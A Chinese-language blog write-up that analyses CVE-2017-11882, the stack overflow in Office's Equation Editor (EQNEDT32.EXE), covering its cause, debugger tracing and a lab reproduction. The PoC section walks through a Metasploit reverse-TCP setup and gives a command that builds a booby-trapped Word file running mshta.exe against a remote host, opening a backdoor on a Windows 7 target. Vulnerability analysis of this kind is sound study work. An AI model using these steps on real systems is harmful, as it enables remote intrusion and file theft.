cve-2017-11882漏洞分析报告

软件名称:Office2016以下
软件版本:2016以下
漏洞模块:EQNEDT32.EXE
模块版本:6.1.95.45
编译日期:2000-11-9 操作系统:Windows XP/2003/7/8.1/10
漏洞编号:cve-2017-11882
危害等级:高危
漏洞类型:缓冲区溢出
威胁类型:远程

软件简介

Microsoft Office 是微软公司针对 Windows 操作系统所推出的办公室套装软件
公式编辑器是office的其中一个组件,为一个独立的EXE,程序发布的是2000年,使用VC4.X编译器所生成
在这里插入图片描述

漏洞成因

公式编辑器存在缓冲区溢出漏洞。
该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞。函数给Font Name数据分配的大小是0x24个字节,超过该大小就会造成溢出。

利用过程

打开含有恶意代码的Word文档,会弹出一个计算器。
在这里插入图片描述
使用OD附加EQNEDT32.EXE进程。在创建进程相关的函数下断点。
在这里插入图片描述
发现是使用WinExec创建的计算器进程

通过栈回溯,找到上一层地址
在这里插入图片描述
来到这段代码,做个记录
在这里插入图片描述
找到这段代码的最头部,下一个断点,再次打开带有恶意代码的Word文档
发现了拷贝溢出点
在这里插入图片描述
将传入的参数,拷贝到栈里,然后覆盖了原有的返回地址。
使用IDA分析
在这里插入图片描述
返回地址被修改为本模块内的一个地址
在这里插入图片描述
发现是调用本模块的WinExec代码,
巧妙的将命令行cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA
当作参数,调用WinExec函数执行指定的程序。
最终弹出了计算器。

PoC

在kali虚拟机配置好环境
首先进入msfconsole,根据cve编号搜索指定的漏洞
在这里插入图片描述
使用第一个漏洞
然后设置payload使用tcp反弹回连的方式
在这里插入图片描述
接着配置好一些必要的信息,设置本机的监听ip与端口,一般端口默认即可,还有一个资源下载的目录urlpath
在这里插入图片描述
设置完毕之后,就可以开始攻击了
在这里插入图片描述
使用Kali Metasploit生成后门木马
将CVE-2017-11882.py的脚本放置到桌面
使用该脚本生成一个后门木马
python CVE-2017-11882.py -c “mshta.exe http://192.168.1.70:8080/1” -o 11882.doc
在这里插入图片描述
在这里插入图片描述
在win7上运行后门木马
在这里插入图片描述
运行后没有任何明显的反映,但是Metasploit中已经连接上了

在Metasploit中连接,操作后门
在这里插入图片描述
发现目标机器已经连接上了,此时可以任意操控后门,上传下载文件。
在这里插入图片描述

结语

漏洞影响的范围比较大,公式编辑器一直从2000版本以来保留使用到2016版本
使用的编译器也比较老久,没有对内存长度进行检查,所以容易造成缓冲区溢出,且可以利用该漏洞为所欲为。

猜你喜欢

转载自blog.csdn.net/qq_43572067/article/details/83615143